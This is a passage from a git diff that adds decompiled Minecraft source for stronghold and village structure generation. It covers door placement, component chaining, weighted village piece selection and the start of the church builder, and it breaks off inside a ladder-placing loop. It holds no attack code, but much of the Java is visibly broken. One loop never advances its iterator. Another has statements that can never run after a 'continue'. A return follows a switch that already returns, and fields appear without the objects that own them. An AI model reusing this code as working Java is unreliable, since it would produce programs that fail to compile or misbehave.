+    protected void placeDoor(World worldIn, Random p_74990_2_, StructureBoundingBox p_74990_3_, Door p_74990_4_, int p_74990_5_, int p_74990_6_, int p_74990_7_)
+    {
+      switch (StructureStrongholdPieces.SwitchEnumFacing.doorEnum[p_74990_4_.ordinal()])
+      {
+      case 1: 
+      default: 
+        func_175804_a(worldIn, p_74990_3_, p_74990_5_, p_74990_6_, p_74990_7_, p_74990_5_ + 3 - 1, p_74990_6_ + 3 - 1, p_74990_7_, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+        break;
+      
+      case 2: 
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), p_74990_5_, p_74990_6_, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), p_74990_5_, p_74990_6_ + 1, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), p_74990_5_, p_74990_6_ + 2, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), p_74990_5_ + 1, p_74990_6_ + 2, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), p_74990_5_ + 2, p_74990_6_ + 2, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), p_74990_5_ + 2, p_74990_6_ + 1, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), p_74990_5_ + 2, p_74990_6_, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.oak_door.getDefaultState(), p_74990_5_ + 1, p_74990_6_, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.oak_door.getStateFromMeta(8), p_74990_5_ + 1, p_74990_6_ + 1, p_74990_7_, p_74990_3_);
+        break;
+      
+      case 3: 
+        func_175811_a(worldIn, Blocks.air.getDefaultState(), p_74990_5_ + 1, p_74990_6_, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.air.getDefaultState(), p_74990_5_ + 1, p_74990_6_ + 1, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.iron_bars.getDefaultState(), p_74990_5_, p_74990_6_, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.iron_bars.getDefaultState(), p_74990_5_, p_74990_6_ + 1, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.iron_bars.getDefaultState(), p_74990_5_, p_74990_6_ + 2, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.iron_bars.getDefaultState(), p_74990_5_ + 1, p_74990_6_ + 2, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.iron_bars.getDefaultState(), p_74990_5_ + 2, p_74990_6_ + 2, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.iron_bars.getDefaultState(), p_74990_5_ + 2, p_74990_6_ + 1, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.iron_bars.getDefaultState(), p_74990_5_ + 2, p_74990_6_, p_74990_7_, p_74990_3_);
+        break;
+      
+      case 4: 
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), p_74990_5_, p_74990_6_, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), p_74990_5_, p_74990_6_ + 1, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), p_74990_5_, p_74990_6_ + 2, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), p_74990_5_ + 1, p_74990_6_ + 2, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), p_74990_5_ + 2, p_74990_6_ + 2, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), p_74990_5_ + 2, p_74990_6_ + 1, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), p_74990_5_ + 2, p_74990_6_, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.iron_door.getDefaultState(), p_74990_5_ + 1, p_74990_6_, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.iron_door.getStateFromMeta(8), p_74990_5_ + 1, p_74990_6_ + 1, p_74990_7_, p_74990_3_);
+        func_175811_a(worldIn, Blocks.stone_button.getStateFromMeta(getMetadataWithOffset(Blocks.stone_button, 4)), p_74990_5_ + 2, p_74990_6_ + 1, p_74990_7_ + 1, p_74990_3_);
+        func_175811_a(worldIn, Blocks.stone_button.getStateFromMeta(getMetadataWithOffset(Blocks.stone_button, 3)), p_74990_5_ + 2, p_74990_6_ + 1, p_74990_7_ - 1, p_74990_3_);
+      }
+    }
+    
+    protected Door getRandomDoor(Random p_74988_1_)
+    {
+      int var2 = p_74988_1_.nextInt(5);
+      
+      switch (var2)
+      {
+      case 0: 
+      case 1: 
+      default: 
+        return Door.OPENING;
+      
+      case 2: 
+        return Door.WOOD_DOOR;
+      
+      case 3: 
+        return Door.GRATES;
+      }
+      
+      return Door.IRON_DOOR;
+    }
+    
+
+    protected StructureComponent getNextComponentNormal(StructureStrongholdPieces.Stairs2 p_74986_1_, List p_74986_2_, Random p_74986_3_, int p_74986_4_, int p_74986_5_)
+    {
+      if (coordBaseMode != null)
+      {
+        switch (StructureStrongholdPieces.SwitchEnumFacing.field_175951_b[coordBaseMode.ordinal()])
+        {
+        case 1: 
+          return StructureStrongholdPieces.func_175953_c(p_74986_1_, p_74986_2_, p_74986_3_, boundingBox.minX + p_74986_4_, boundingBox.minY + p_74986_5_, boundingBox.minZ - 1, coordBaseMode, getComponentType());
+        
+        case 2: 
+          return StructureStrongholdPieces.func_175953_c(p_74986_1_, p_74986_2_, p_74986_3_, boundingBox.minX + p_74986_4_, boundingBox.minY + p_74986_5_, boundingBox.maxZ + 1, coordBaseMode, getComponentType());
+        
+        case 3: 
+          return StructureStrongholdPieces.func_175953_c(p_74986_1_, p_74986_2_, p_74986_3_, boundingBox.minX - 1, boundingBox.minY + p_74986_5_, boundingBox.minZ + p_74986_4_, coordBaseMode, getComponentType());
+        
+        case 4: 
+          return StructureStrongholdPieces.func_175953_c(p_74986_1_, p_74986_2_, p_74986_3_, boundingBox.maxX + 1, boundingBox.minY + p_74986_5_, boundingBox.minZ + p_74986_4_, coordBaseMode, getComponentType());
+        }
+        
+      }
+      return null;
+    }
+    
+    protected StructureComponent getNextComponentX(StructureStrongholdPieces.Stairs2 p_74989_1_, List p_74989_2_, Random p_74989_3_, int p_74989_4_, int p_74989_5_)
+    {
+      if (coordBaseMode != null)
+      {
+        switch (StructureStrongholdPieces.SwitchEnumFacing.field_175951_b[coordBaseMode.ordinal()])
+        {
+        case 1: 
+          return StructureStrongholdPieces.func_175953_c(p_74989_1_, p_74989_2_, p_74989_3_, boundingBox.minX - 1, boundingBox.minY + p_74989_4_, boundingBox.minZ + p_74989_5_, EnumFacing.WEST, getComponentType());
+        
+        case 2: 
+          return StructureStrongholdPieces.func_175953_c(p_74989_1_, p_74989_2_, p_74989_3_, boundingBox.minX - 1, boundingBox.minY + p_74989_4_, boundingBox.minZ + p_74989_5_, EnumFacing.WEST, getComponentType());
+        
+        case 3: 
+          return StructureStrongholdPieces.func_175953_c(p_74989_1_, p_74989_2_, p_74989_3_, boundingBox.minX + p_74989_5_, boundingBox.minY + p_74989_4_, boundingBox.minZ - 1, EnumFacing.NORTH, getComponentType());
+        
+        case 4: 
+          return StructureStrongholdPieces.func_175953_c(p_74989_1_, p_74989_2_, p_74989_3_, boundingBox.minX + p_74989_5_, boundingBox.minY + p_74989_4_, boundingBox.minZ - 1, EnumFacing.NORTH, getComponentType());
+        }
+        
+      }
+      return null;
+    }
+    
+    protected StructureComponent getNextComponentZ(StructureStrongholdPieces.Stairs2 p_74987_1_, List p_74987_2_, Random p_74987_3_, int p_74987_4_, int p_74987_5_)
+    {
+      if (coordBaseMode != null)
+      {
+        switch (StructureStrongholdPieces.SwitchEnumFacing.field_175951_b[coordBaseMode.ordinal()])
+        {
+        case 1: 
+          return StructureStrongholdPieces.func_175953_c(p_74987_1_, p_74987_2_, p_74987_3_, boundingBox.maxX + 1, boundingBox.minY + p_74987_4_, boundingBox.minZ + p_74987_5_, EnumFacing.EAST, getComponentType());
+        
+        case 2: 
+          return StructureStrongholdPieces.func_175953_c(p_74987_1_, p_74987_2_, p_74987_3_, boundingBox.maxX + 1, boundingBox.minY + p_74987_4_, boundingBox.minZ + p_74987_5_, EnumFacing.EAST, getComponentType());
+        
+        case 3: 
+          return StructureStrongholdPieces.func_175953_c(p_74987_1_, p_74987_2_, p_74987_3_, boundingBox.minX + p_74987_5_, boundingBox.minY + p_74987_4_, boundingBox.maxZ + 1, EnumFacing.SOUTH, getComponentType());
+        
+        case 4: 
+          return StructureStrongholdPieces.func_175953_c(p_74987_1_, p_74987_2_, p_74987_3_, boundingBox.minX + p_74987_5_, boundingBox.minY + p_74987_4_, boundingBox.maxZ + 1, EnumFacing.SOUTH, getComponentType());
+        }
+        
+      }
+      return null;
+    }
+    
+    protected static boolean canStrongholdGoDeeper(StructureBoundingBox p_74991_0_)
+    {
+      return (p_74991_0_ != null) && (minY > 10);
+    }
+    
+    public static enum Door
+    {
+      OPENING("OPENING", 0), 
+      WOOD_DOOR("WOOD_DOOR", 1), 
+      GRATES("GRATES", 2), 
+      IRON_DOOR("IRON_DOOR", 3);
+      
+      private static final Door[] $VALUES = { OPENING, WOOD_DOOR, GRATES, IRON_DOOR };
+      
+      private static final String __OBFID = "CL_00000504";
+      
+      private Door(String p_i2086_1_, int p_i2086_2_) {}
+    }
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] doorEnum;
+    static final int[] field_175951_b = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00001970";
+    
+    static
+    {
+      try
+      {
+        field_175951_b[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_175951_b[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_175951_b[EnumFacing.WEST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_175951_b[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      doorEnum = new int[StructureStrongholdPieces.Stronghold.Door.values().length];
+      
+      try
+      {
+        doorEnum[StructureStrongholdPieces.Stronghold.Door.OPENING.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        doorEnum[StructureStrongholdPieces.Stronghold.Door.WOOD_DOOR.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        doorEnum[StructureStrongholdPieces.Stronghold.Door.GRATES.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        doorEnum[StructureStrongholdPieces.Stronghold.Door.IRON_DOOR.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/StructureVillagePieces.java b/src/minecraft/net/minecraft/world/gen/structure/StructureVillagePieces.java
new file mode 100644
index 0000000..20ebf29
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/StructureVillagePieces.java
@@ -0,0 +1,1948 @@
+package net.minecraft.world.gen.structure;
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockSandStone.EnumType;
+import net.minecraft.block.BlockSlab;
+import net.minecraft.block.BlockStairs;
+import net.minecraft.block.BlockStaticLiquid;
+import net.minecraft.block.BlockTorch;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.WeightedRandomChestContent;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.WorldChunkManager;
+
+public class StructureVillagePieces
+{
+  private static final String __OBFID = "CL_00000516";
+  
+  public StructureVillagePieces() {}
+  
+  public static void registerVillagePieces()
+  {
+    MapGenStructureIO.registerStructureComponent(House1.class, "ViBH");
+    MapGenStructureIO.registerStructureComponent(Field1.class, "ViDF");
+    MapGenStructureIO.registerStructureComponent(Field2.class, "ViF");
+    MapGenStructureIO.registerStructureComponent(Torch.class, "ViL");
+    MapGenStructureIO.registerStructureComponent(Hall.class, "ViPH");
+    MapGenStructureIO.registerStructureComponent(House4Garden.class, "ViSH");
+    MapGenStructureIO.registerStructureComponent(WoodHut.class, "ViSmH");
+    MapGenStructureIO.registerStructureComponent(Church.class, "ViST");
+    MapGenStructureIO.registerStructureComponent(House2.class, "ViS");
+    MapGenStructureIO.registerStructureComponent(Start.class, "ViStart");
+    MapGenStructureIO.registerStructureComponent(Path.class, "ViSR");
+    MapGenStructureIO.registerStructureComponent(House3.class, "ViTRH");
+    MapGenStructureIO.registerStructureComponent(Well.class, "ViW");
+  }
+  
+  public static List getStructureVillageWeightedPieceList(Random p_75084_0_, int p_75084_1_)
+  {
+    ArrayList var2 = com.google.common.collect.Lists.newArrayList();
+    var2.add(new PieceWeight(House4Garden.class, 4, MathHelper.getRandomIntegerInRange(p_75084_0_, 2 + p_75084_1_, 4 + p_75084_1_ * 2)));
+    var2.add(new PieceWeight(Church.class, 20, MathHelper.getRandomIntegerInRange(p_75084_0_, 0 + p_75084_1_, 1 + p_75084_1_)));
+    var2.add(new PieceWeight(House1.class, 20, MathHelper.getRandomIntegerInRange(p_75084_0_, 0 + p_75084_1_, 2 + p_75084_1_)));
+    var2.add(new PieceWeight(WoodHut.class, 3, MathHelper.getRandomIntegerInRange(p_75084_0_, 2 + p_75084_1_, 5 + p_75084_1_ * 3)));
+    var2.add(new PieceWeight(Hall.class, 15, MathHelper.getRandomIntegerInRange(p_75084_0_, 0 + p_75084_1_, 2 + p_75084_1_)));
+    var2.add(new PieceWeight(Field1.class, 3, MathHelper.getRandomIntegerInRange(p_75084_0_, 1 + p_75084_1_, 4 + p_75084_1_)));
+    var2.add(new PieceWeight(Field2.class, 3, MathHelper.getRandomIntegerInRange(p_75084_0_, 2 + p_75084_1_, 4 + p_75084_1_ * 2)));
+    var2.add(new PieceWeight(House2.class, 15, MathHelper.getRandomIntegerInRange(p_75084_0_, 0, 1 + p_75084_1_)));
+    var2.add(new PieceWeight(House3.class, 8, MathHelper.getRandomIntegerInRange(p_75084_0_, 0 + p_75084_1_, 3 + p_75084_1_ * 2)));
+    Iterator var3 = var2.iterator();
+    
+    while (var3.hasNext())
+    {
+      if (nextvillagePiecesLimit == 0)
+      {
+        var3.remove();
+      }
+    }
+    
+    return var2;
+  }
+  
+  private static int func_75079_a(List p_75079_0_)
+  {
+    boolean var1 = false;
+    int var2 = 0;
+    
+    PieceWeight var4;
+    for (Iterator var3 = p_75079_0_.iterator(); var3.hasNext(); var2 += villagePieceWeight)
+    {
+      var4 = (PieceWeight)var3.next();
+      
+      if ((villagePiecesLimit > 0) && (villagePiecesSpawned < villagePiecesLimit))
+      {
+        var1 = true;
+      }
+    }
+    
+    return var1 ? var2 : -1;
+  }
+  
+  private static Village func_176065_a(Start p_176065_0_, PieceWeight p_176065_1_, List p_176065_2_, Random p_176065_3_, int p_176065_4_, int p_176065_5_, int p_176065_6_, EnumFacing p_176065_7_, int p_176065_8_)
+  {
+    Class var9 = villagePieceClass;
+    Object var10 = null;
+    
+    if (var9 == House4Garden.class)
+    {
+      var10 = House4Garden.func_175858_a(p_176065_0_, p_176065_2_, p_176065_3_, p_176065_4_, p_176065_5_, p_176065_6_, p_176065_7_, p_176065_8_);
+    }
+    else if (var9 == Church.class)
+    {
+      var10 = Church.func_175854_a(p_176065_0_, p_176065_2_, p_176065_3_, p_176065_4_, p_176065_5_, p_176065_6_, p_176065_7_, p_176065_8_);
+    }
+    else if (var9 == House1.class)
+    {
+      var10 = House1.func_175850_a(p_176065_0_, p_176065_2_, p_176065_3_, p_176065_4_, p_176065_5_, p_176065_6_, p_176065_7_, p_176065_8_);
+    }
+    else if (var9 == WoodHut.class)
+    {
+      var10 = WoodHut.func_175853_a(p_176065_0_, p_176065_2_, p_176065_3_, p_176065_4_, p_176065_5_, p_176065_6_, p_176065_7_, p_176065_8_);
+    }
+    else if (var9 == Hall.class)
+    {
+      var10 = Hall.func_175857_a(p_176065_0_, p_176065_2_, p_176065_3_, p_176065_4_, p_176065_5_, p_176065_6_, p_176065_7_, p_176065_8_);
+    }
+    else if (var9 == Field1.class)
+    {
+      var10 = Field1.func_175851_a(p_176065_0_, p_176065_2_, p_176065_3_, p_176065_4_, p_176065_5_, p_176065_6_, p_176065_7_, p_176065_8_);
+    }
+    else if (var9 == Field2.class)
+    {
+      var10 = Field2.func_175852_a(p_176065_0_, p_176065_2_, p_176065_3_, p_176065_4_, p_176065_5_, p_176065_6_, p_176065_7_, p_176065_8_);
+    }
+    else if (var9 == House2.class)
+    {
+      var10 = House2.func_175855_a(p_176065_0_, p_176065_2_, p_176065_3_, p_176065_4_, p_176065_5_, p_176065_6_, p_176065_7_, p_176065_8_);
+    }
+    else if (var9 == House3.class)
+    {
+      var10 = House3.func_175849_a(p_176065_0_, p_176065_2_, p_176065_3_, p_176065_4_, p_176065_5_, p_176065_6_, p_176065_7_, p_176065_8_);
+    }
+    
+    return (Village)var10;
+  }
+  
+  private static Village func_176067_c(Start p_176067_0_, List p_176067_1_, Random p_176067_2_, int p_176067_3_, int p_176067_4_, int p_176067_5_, EnumFacing p_176067_6_, int p_176067_7_)
+  {
+    int var8 = func_75079_a(structureVillageWeightedPieceList);
+    
+    if (var8 <= 0)
+    {
+      return null;
+    }
+    
+
+    int var9 = 0;
+    Iterator var11;
+    label183: for (; var9 < 5; 
+        
+
+
+
+
+        var11.hasNext())
+    {
+      var9++;
+      int var10 = p_176067_2_.nextInt(var8);
+      var11 = structureVillageWeightedPieceList.iterator();
+      
+      continue;
+      
+      PieceWeight var12 = (PieceWeight)var11.next();
+      var10 -= villagePieceWeight;
+      
+      if (var10 < 0)
+      {
+        if ((!var12.canSpawnMoreVillagePiecesOfType(p_176067_7_)) || ((var12 == structVillagePieceWeight) && (structureVillageWeightedPieceList.size() > 1))) {
+          break label183;
+        }
+        
+
+        Village var13 = func_176065_a(p_176067_0_, var12, p_176067_1_, p_176067_2_, p_176067_3_, p_176067_4_, p_176067_5_, p_176067_6_, p_176067_7_);
+        
+        if (var13 != null)
+        {
+          villagePiecesSpawned += 1;
+          structVillagePieceWeight = var12;
+          
+          if (!var12.canSpawnMoreVillagePieces())
+          {
+            structureVillageWeightedPieceList.remove(var12);
+          }
+          
+          return var13;
+        }
+      }
+    }
+    
+
+    StructureBoundingBox var14 = Torch.func_175856_a(p_176067_0_, p_176067_1_, p_176067_2_, p_176067_3_, p_176067_4_, p_176067_5_, p_176067_6_);
+    
+    if (var14 != null)
+    {
+      return new Torch(p_176067_0_, p_176067_7_, p_176067_2_, var14, p_176067_6_);
+    }
+    
+
+    return null;
+  }
+  
+
+
+  private static StructureComponent func_176066_d(Start p_176066_0_, List p_176066_1_, Random p_176066_2_, int p_176066_3_, int p_176066_4_, int p_176066_5_, EnumFacing p_176066_6_, int p_176066_7_)
+  {
+    if (p_176066_7_ > 50)
+    {
+      return null;
+    }
+    if ((Math.abs(p_176066_3_ - getBoundingBoxminX) <= 112) && (Math.abs(p_176066_5_ - getBoundingBoxminZ) <= 112))
+    {
+      Village var8 = func_176067_c(p_176066_0_, p_176066_1_, p_176066_2_, p_176066_3_, p_176066_4_, p_176066_5_, p_176066_6_, p_176066_7_ + 1);
+      
+      if (var8 != null)
+      {
+        int var9 = (boundingBox.minX + boundingBox.maxX) / 2;
+        int var10 = (boundingBox.minZ + boundingBox.maxZ) / 2;
+        int var11 = boundingBox.maxX - boundingBox.minX;
+        int var12 = boundingBox.maxZ - boundingBox.minZ;
+        int var13 = var11 > var12 ? var11 : var12;
+        
+        if (p_176066_0_.getWorldChunkManager().areBiomesViable(var9, var10, var13 / 2 + 4, MapGenVillage.villageSpawnBiomes))
+        {
+          p_176066_1_.add(var8);
+          field_74932_i.add(var8);
+          return var8;
+        }
+      }
+      
+      return null;
+    }
+    
+
+    return null;
+  }
+  
+
+  private static StructureComponent func_176069_e(Start p_176069_0_, List p_176069_1_, Random p_176069_2_, int p_176069_3_, int p_176069_4_, int p_176069_5_, EnumFacing p_176069_6_, int p_176069_7_)
+  {
+    if (p_176069_7_ > 3 + terrainType)
+    {
+      return null;
+    }
+    if ((Math.abs(p_176069_3_ - getBoundingBoxminX) <= 112) && (Math.abs(p_176069_5_ - getBoundingBoxminZ) <= 112))
+    {
+      StructureBoundingBox var8 = Path.func_175848_a(p_176069_0_, p_176069_1_, p_176069_2_, p_176069_3_, p_176069_4_, p_176069_5_, p_176069_6_);
+      
+      if ((var8 != null) && (minY > 10))
+      {
+        Path var9 = new Path(p_176069_0_, p_176069_7_, p_176069_2_, var8, p_176069_6_);
+        int var10 = (boundingBox.minX + boundingBox.maxX) / 2;
+        int var11 = (boundingBox.minZ + boundingBox.maxZ) / 2;
+        int var12 = boundingBox.maxX - boundingBox.minX;
+        int var13 = boundingBox.maxZ - boundingBox.minZ;
+        int var14 = var12 > var13 ? var12 : var13;
+        
+        if (p_176069_0_.getWorldChunkManager().areBiomesViable(var10, var11, var14 / 2 + 4, MapGenVillage.villageSpawnBiomes))
+        {
+          p_176069_1_.add(var9);
+          field_74930_j.add(var9);
+          return var9;
+        }
+      }
+      
+      return null;
+    }
+    
+
+    return null;
+  }
+  
+  public static class Church
+    extends StructureVillagePieces.Village
+  {
+    private static final String __OBFID = "CL_00000525";
+    
+    public Church() {}
+    
+    public Church(StructureVillagePieces.Start p_i45564_1_, int p_i45564_2_, Random p_i45564_3_, StructureBoundingBox p_i45564_4_, EnumFacing p_i45564_5_)
+    {
+      super(p_i45564_2_);
+      coordBaseMode = p_i45564_5_;
+      boundingBox = p_i45564_4_;
+    }
+    
+    public static Church func_175854_a(StructureVillagePieces.Start p_175854_0_, List p_175854_1_, Random p_175854_2_, int p_175854_3_, int p_175854_4_, int p_175854_5_, EnumFacing p_175854_6_, int p_175854_7_)
+    {
+      StructureBoundingBox var8 = StructureBoundingBox.func_175897_a(p_175854_3_, p_175854_4_, p_175854_5_, 0, 0, 0, 5, 12, 9, p_175854_6_);
+      return (canVillageGoDeeper(var8)) && (StructureComponent.findIntersecting(p_175854_1_, var8) == null) ? new Church(p_175854_0_, p_175854_7_, p_175854_2_, var8, p_175854_6_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_143015_k < 0)
+      {
+        field_143015_k = getAverageGroundLevel(worldIn, p_74875_3_);
+        
+        if (field_143015_k < 0)
+        {
+          return true;
+        }
+        
+        boundingBox.offset(0, field_143015_k - boundingBox.maxY + 12 - 1, 0);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 1, 3, 3, 7, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 5, 1, 3, 9, 3, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 0, 3, 0, 8, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 0, 3, 10, 0, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 1, 0, 10, 3, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 1, 1, 4, 10, 3, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 4, 0, 4, 7, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 0, 4, 4, 4, 7, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 8, 3, 4, 8, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 5, 4, 3, 10, 4, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 5, 5, 3, 5, 7, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 9, 0, 4, 9, 4, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 4, 0, 4, 4, 4, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 0, 11, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 4, 11, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 2, 11, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 2, 11, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 1, 1, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 1, 1, 7, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 2, 1, 7, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 3, 1, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 3, 1, 7, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.stone_stairs, 3)), 1, 1, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.stone_stairs, 3)), 2, 1, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.stone_stairs, 3)), 3, 1, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.stone_stairs, 1)), 1, 2, 7, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.stone_stairs, 0)), 3, 2, 7, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 3, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 4, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 4, 3, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 6, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 7, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 4, 6, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 4, 7, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 2, 6, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 2, 7, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 2, 6, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 2, 7, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 3, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 4, 3, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 2, 3, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, coordBaseMode.getOpposite()), 2, 4, 7, p_74875_3_);
+      func_175811_a(worldIn, Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, coordBaseMode.rotateY()), 1, 4, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, coordBaseMode.rotateYCCW()), 3, 4, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, coordBaseMode), 2, 4, 5, p_74875_3_);
+      int var4 = getMetadataWithOffset(Blocks.ladder, 4);
+      
+
+      for (int var5 = 1; var5 <= 9; var5++)
+      {
